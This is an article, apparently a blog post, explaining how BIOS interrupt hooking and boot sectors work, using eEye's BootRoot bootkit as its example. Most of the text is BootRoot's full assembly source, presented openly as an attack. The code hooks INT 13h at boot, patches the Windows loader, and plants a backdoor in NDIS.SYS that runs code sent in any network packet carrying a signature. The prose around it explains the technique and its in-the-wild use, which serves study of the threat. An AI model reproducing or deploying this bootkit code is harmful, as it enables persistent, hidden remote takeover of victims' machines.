Code in the BIOS is the first thing that runs on a PC. This chip ('basic input/output system') searches for the hard drive partition sector ('master boot record') to find out where the bootable operating system is located.
The partition sector is always at 0/0/1 - cylinder 0 head 0 sector 1 on the hard drive. 512 bytes in length it contains code, a signature, and the partition table - four 16 byte records of where the (up to) four partitions on the hard drive are located (using the same cylinder/head/sector description).
The BIOS loads this sector into memory and switches execution to it. The code ferrets out the start location of the bootable partition and loads its boot sector and switches execution to it. And so forth.
The interrupt value is multiplied by 4 to get to the address in page zero containing the segment:offset address in the BIOS control is to jump to.
Although the PC BIOS is may not be writable the interrupt vector table which points to the code in the BIOS is. Precursors to tools such as this could write directly to the table or to any address at all. Not that one would normally want to but still and all: the point is you can write to it - and if you can write to it you can 'redirect' ('hook') the calls to the BIOS.
You install your own code to handle the interrupts you want and your own code eventually calls the original BIOS snippets. Hooking into the IVT in this way is how TSR ('terminate and stay resident') programs could work: they hooked the keyboard interrupts - they got to keyboard input before anybody else did.
;===============================================================
; eEye BootRoot v0.90 Last updated: 08/08/2005
;---------------------------------------------------------------
; Demonstration of the capabilities of custom boot sector code
; on a Windows NT-family system.
;
; Derek Soeder - eEye Digital Security - 04/02/2005
;===============================================================
.486p
.model tiny
BOOTORG EQU 7C00h ; our code is executed by the BIOS at 0000h:7C00h
BOOTROOT_SIZE EQU 200h
;----------------
BOOTROOT GROUP BRCODE16, BRDATA
ASSUME CS:BOOTROOT, DS:BOOTROOT, ES:BOOTROOT, SS:BOOTROOT
;----------------
BRCODE16 SEGMENT byte use16
@BRCODE16_START EQU $
;###################################
;## Boot-Time Installation Code ##
;###################################
;
; Initialization
;
cli
xor bx, bx
mov ss, bx
mov ss:[BOOTORG - 2], sp
mov sp, (BOOTORG - 2)
push ds
pushad
mov ds, bx
;
; Reserve 1KB conventional memory for our memory-resident code
;
dec word ptr ds:[0413h] ; 0040h:0013h - base memory size in KBs
mov ax, ds:[0413h]
shl ax, (10-4) ; AX *= 1024 / 16 (convert linear address in KBs to a segment)
mov es, ax
;
; Copy ourselves to reserved memory and initialize the rest to zeroes
;
cld
mov si, BOOTORG
xor di, di
mov cx, BOOTROOT_SIZE / 2
rep movsw
xor ax, ax
mov ch, (1024 - BOOTROOT_SIZE) / 2 / 100h
rep stosw
;
; Install our INT 13h hook
;
mov eax, ds:[bx + (13h*4)]
mov es:[INT13HANDLER - @BRCODE16_START], eax ; store previous handler
mov word ptr [bx + (13h*4)], @Int13Hook ; point INT 13h vector to our hook handler
mov [bx + (13h*4) + 2], es ; (BX = 0 from earlier)
;
; Load and execute MBR from first hard drive (do this from resident code)
;
push es
push @BootFromHDD
retf
@BootFromHDD:
sti
mov es, cx ; CX = 0 from above REP STOSW
mov ax, 0201h ; AL = number of sectors
inc cx ; CH = cylinder; CL = sector and high bits of cylinder
mov dx, 0080h ; DH = head; DL = drive number
mov bh, (BOOTORG / 100h) ; ES:BX -> destination buffer
int 13h ; INT 13h/AH=02h: Read sector(s) into memory
popad
pop ds
pop sp
db 0EAh ; JMP FAR 0000h:7C00h
dw BOOTORG, 0000h
;##################################
;## INT 13h Hook Real-Mode ISR ##
;##################################
@Int13Hook:
pushf
cmp ah, 42h ; IBM/MS INT 13 Extensions - EXTENDED READ
je short @Int13Hook_ReadRequest
cmp ah, 02h ; DISK - READ SECTOR(S) INTO MEMORY
je short @Int13Hook_ReadRequest
popf
db 0EAh ; JMP FAR INT13HANDLER
INT13HANDLER EQU $
dd ?
@Int13Hook_ReadRequest:
mov byte ptr cs:[INT13LASTFUNCTION], ah
;
; Invoke original handler to perform read operation
;
popf
pushf ; push Flags because we're simulating an INT
call dword ptr cs:[INT13HANDLER] ; call original handler
jc short @Int13Hook_ret ; abort immediately if read failed
pushf
cli
push es
pusha
;
; Adjust registers to internally emulate an AH=02h read if AH=42h was used
;
mov ah, 00h
INT13LASTFUNCTION EQU $-1
cmp ah, 42h
jne short @Int13Hook_notextread
lodsw
lodsw ; +02h WORD number of blocks to transfer
les bx, [si] ; +04h DWORD transfer buffer
@Int13Hook_notextread:
;
; Scan sector for a signature of the code we want to modify
;
test al, al
jle short @Int13Hook_scan_done
cld
mov cl, al
mov al, 8Bh
shl cx, 9 ; (AL * 200h)
mov di, bx
@Int13Hook_scan_loop:
; 8B F0 MOV ESI, EAX
; 85 F6 TEST ESI, ESI
; 74 21 JZ $+23h
; 80 3D ... CMP BYTE PTR [ofs32], imm8
; (the first 6 bytes of this signature exist in other modules!)
repne scasb
jne short @Int13Hook_scan_done
cmp dword ptr es:[di], 74F685F0h
jne short @Int13Hook_scan_loop
cmp word ptr es:[di+4], 8021h
jne short @Int13Hook_scan_loop
mov word ptr es:[di-1], 15FFh ; FFh/15h/xx/xx/xx/xx: CALL NEAR [ofs32]
mov eax, cs
shl eax, 4
add cs:[(NDISBACKDOOR_LINEAR - @BRPATCHFUNC32_START) + BRCODE16_SIZE], eax
add ax, (@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE
mov cs:[PATCHFUNC32_LINEAR], eax ; should be okay to add to AX, since we can't cross 1KB boundary
add ax, PATCHFUNC32_LINEAR - ((@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE)
mov es:[di+1], eax
@Int13Hook_scan_done:
popa
pop es
popf
@Int13Hook_ret:
retf 2 ; discard saved Flags from original INT (pass back CF, etc.)
@BRCODE16_END EQU $
BRCODE16_SIZE EQU (@BRCODE16_END - @BRCODE16_START)
BRCODE16 ENDS
;----------------
BRPATCHFUNC32 SEGMENT byte use32
ASSUME CS:BRPATCHFUNC32, DS:nothing, ES:nothing, SS:nothing
@BRPATCHFUNC32_START EQU $
;################################################################
;## NDIS.SYS!ethFilterDprIndicateReceivePacket Backdoor Code ##
;################################################################
@NDISBackdoor: ; +00h DWORD 'eBR\xEE' signature
; +04h [...] code to execute (ESI points here on entry)
pushfd
pushad
push 59h
pop ecx
mov esi, [esp+2Ch] ; ptr to some array of ptrs
lodsd ; ptr to some structure
mov eax, [eax+8] ; ptr to an MDL for the packet
cmp dword ptr [eax+14h], ecx ; check size of packet
jbe @NDISBackdoor_ret
add ecx, [eax+0Ch] ; ptr to Ethernet frame
cmp dword ptr [ecx-4], 0EE524265h ; look for "eBR\xEE" signature at offset 55h in the frame
jne @NDISBackdoor_ret
call ecx
@NDISBackdoor_ret:
popad
popfd
push ebp
mov ebp, esp
sub esp, 60h ; it doesn't matter if we allocate a little extra stack space
db 0E9h ; E9h/xx/xx/xx/xx: JMP NEAR rel32
; "JMP NEAR (ethFilterDprIndicateReceivePacket + 6)" 'rel32' will be manually appended here
@NDISBACKDOOR_END EQU $
;#####################################################
;## Auxiliary RVA-to-Pointer Conversion Functions ##
;#####################################################
@TranslateVirtualToRaw:
pushad
push 08h ; FIELD_OFFSET(IMAGE_SECTION_HEADER, VirtualSize)
jmp short @Translate
@TranslateRawToVirtual:
pushad
push 10h ; FIELD_OFFSET(IMAGE_SECTION_HEADER, SizeOfRawData)
@Translate:
pop eax
test word ptr [esi+20h], 0FFFh ; size of image (should be 4KB multiple if sections are aligned)
jz @Translate_ret
mov esi, [ebx+3Ch] ; IMAGE_DOS_HEADER.e_lfanew
add esi, ebx ; ptr to PE header
movzx ecx, word ptr [esi+06h] ; IMAGE_NT_HEADERS.FileHeader.NumberOfSections
movzx edi, word ptr [esi+14h] ; IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
lea edi, [esi+edi+18h] ; IMAGE_FIRST_SECTION(ESI)
@Translate_sectionloop:
mov edx, [esp+24h] ; function's stack "argument"
sub edx, [edi+eax+4] ; PIMAGE_SECTION_HEADER->{VirtualAddress,PointerToRawData}
jb short @Translate_sectionloop_next
cmp edx, [edi+eax] ; PIMAGE_SECTION_HEADER->{VirtualSize,SizeOfRawData}
jbe short @Translate_sectionloop_done
@Translate_sectionloop_next:
add edi, 28h
loop @Translate_sectionloop
@Translate_sectionloop_done:
xor al, 1Ch ; 08h --> 14h, 10h --> 0Ch
add edx, [edi+eax] ; PIMAGE_SECTION_HEADER->{PointerToRawData,VirtualAddress}
mov [esp+24h], edx ; update stack "argument" to contain translated value
@Translate_ret:
popad
ret
;#######################################
;## Inline Code Patch Hook Function ##
;#######################################
@PatchFunction:
;
; Initialization
;
pushfd
pushad ; assume DS = ES = 10h (KGDT_R0_DATA: flat ring-0 data segment)
cld
;
; Scan for address of module list base (_BlLoaderData)
;
mov edi, [esp+24h] ; use EIP as a ptr into OSLOADER
and edi, NOT 000FFFFFh ; convert to image base ptr
mov al, 0C7h ; C7 46 34 00 40 00 00 MOV DWORD PTR [ESI+34h], 4000h
@PatchFunction_mlsigloop: ; assume that we will find it
scasb
jne @PatchFunction_mlsigloop
cmp dword ptr [edi], 40003446h
jne @PatchFunction_mlsigloop
mov al, 0A1h ; A1 xx xx xx xx MOV EAX, [xxxxxxxx]
@PatchFunction_mlbaseloop:
scasb
jne @PatchFunction_mlbaseloop
mov esi, [edi] ; ptr to base of module list
mov esi, [esi] ; ptr to first node of module list
mov ebx, esi
;
; Search module list for NDIS.SYS
;
@PatchFunction_modloop:
mov esi, [esi]
cmp esi, ebx
jne short @PatchFunction_modloop_nextnode ; break out if we've traversed the entire (circular) list
;----
@PatchFunction_done:
;
; Restore registers, perform displaced instructions, and return into patched code
;
popad
popfd
mov esi, eax
test eax, eax
jnz short @PatchFunction_done_nojz
pushfd
add dword ptr [esp+4], 21h
popfd
@PatchFunction_done_nojz:
ret
;----
@PatchFunction_modloop_nextnode:
cmp byte ptr [esi+2Ch], 8*2 ; module file name 'UNICODE_STRING.Length' for L"NDIS.SYS"
jne short @PatchFunction_modloop
mov ecx, [esi+30h]
mov eax, [ecx]
shl eax, 8
xor eax, [ecx+4]
and eax, NOT 20202020h
cmp eax, 44534E49h ; "NDIS" mangled: 44004E00h ("N\0D\0" << 8) ^ 00530049h ("I\0S\0")
jne short @PatchFunction_modloop
;
; Search NDIS.SYS for ndisMLoopbackPacketX call to ethFilterDprIndicateReceivePacket
;
mov ebx, [esi+18h] ; EBX = image base address
mov edi, ebx
mov al, 50h ; 50 PUSH EAX
; 53 PUSH EBX
; C7 46 10 0E 00 00 00 MOV DWORD PTR [ESI+10h], 0Eh
@PatchFunction_nmlpxloop:
scasb
jne @PatchFunction_nmlpxloop
cmp dword ptr [edi], 1046C753h
jne @PatchFunction_nmlpxloop
cmp dword ptr [edi+4], 0Eh
jne @PatchFunction_nmlpxloop
lea edx, [edi+0Dh]
sub edx, ebx
push edx
call @TranslateRawToVirtual
pop edx ; EDX = RVA of offset following CALL instruction
add edx, [edi+9] ; EDX += rel32
push edx
call @TranslateVirtualToRaw
pop edi ; EDI = ptr to start of eFDIRP in potentially raw image
add edi, ebx
cmp word ptr [edi], 0FF8Bh
jne @PatchFunction_no8BFF
inc edi
inc edx
inc edi
inc edx ; skip over "MOV EDI, EDI" at function start (XP SP2 and later)
@PatchFunction_no8BFF:
mov al, 0E9h ; E9h/xx/xx/xx/xx: JMP NEAR rel32
stosb
push 40h - 5 ; RVA of destination (at 40h, inside DOS EXE code) - size of JMP
pop eax
sub eax, edx ; EAX (rel32) = destination RVA - source RVA
stosd
db 6Ah, (@NDISBACKDOOR_END - @NDISBackdoor) ; 6Ah/xx: PUSH simm8 (to keep MASM from being stupid)
pop ecx
mov esi, (@NDISBackdoor - @BRPATCHFUNC32_START) + BRCODE16_SIZE
NDISBACKDOOR_LINEAR EQU $-4
lea edi, [ebx+40h]
rep movsb
lea eax, [edx+6 - (40h + (@NDISBACKDOOR_END - @NDISBackdoor) + 4)]
stosd
mov word ptr ds:[000B8000h], 0901h ; blue smiley
jmp @PatchFunction_done
@BRPATCHFUNC32_END EQU $
BRPATCHFUNC32 ENDS
;----------------
BRDATA SEGMENT DWORD
;#############################
;## Boot Sector Signature ##
;#############################
db 2 dup (?) ; this signature must be last two bytes in boot sector
dw 0AA55h
;###############################
;## Post-Resident Data Area ##
;###############################
PATCHFUNC32_LINEAR EQU BOOTROOT_SIZE
BRDATA ENDS
END
And it's the same principle with a boot sector virus or its recent reincarnation: you corrupt the interrupt vector table so the important calls point to your code instead.
Normally this isn't possible anymore with Windows but some versions still allow user land code to override disk sectors directly and booting from corrupted media will result in a 'rooted' system.
The attack vector works on all releases of XP and partially on its successor. The current 'trojan' in the wild seems hard coded for XP only.
Another key to this weakness is the fact Windows system code doesn't replace BIOS calls - it wraps them. If the interrupt vector table is corrupted before Windows itself starts it remains corrupted - and corrupts Windows.
Another key is the fact code run this early in the game is not run in 'user mode' or 'kernel mode': it's run in good old 16-bit real mode - 'there is no sky'.
The eEye proof of concept was just that: a proof of concept. It didn't attempt to hide. It was a demonstration - and a reminder - that weaknesses do exist. The code in the wild does everything it can to remain undetected.
The hack can hook the interrupts 10h, 13h, 14h, 15h, 16h, 19h, and 1Ah - for video, disk, serial, system configuration and power management, keyboard, reboot, and clock respectively. Once hooked into interrupt 13h it can inspect the next phase of the startup - namely NTLDR and the embedded OSLOADER. OSLOADER will in turn process BOOT.INI, run NTDETECT, start the swapping system, load HAL, the system kernel, the registry, and so forth.
But the eEye hack is already in there and can corrupt anything. OSLOADER is supposed to perform consistency checks on loaded modules but the hack could turn this off; it can modify files on disk before Windows starts; it can use its hook of 15h to reserve extended memory; and it can regain control by hooking yet another interrupt called later in the startup process.
And overwriting boot sectors with or without a hack installed is still possible on some Windows systems.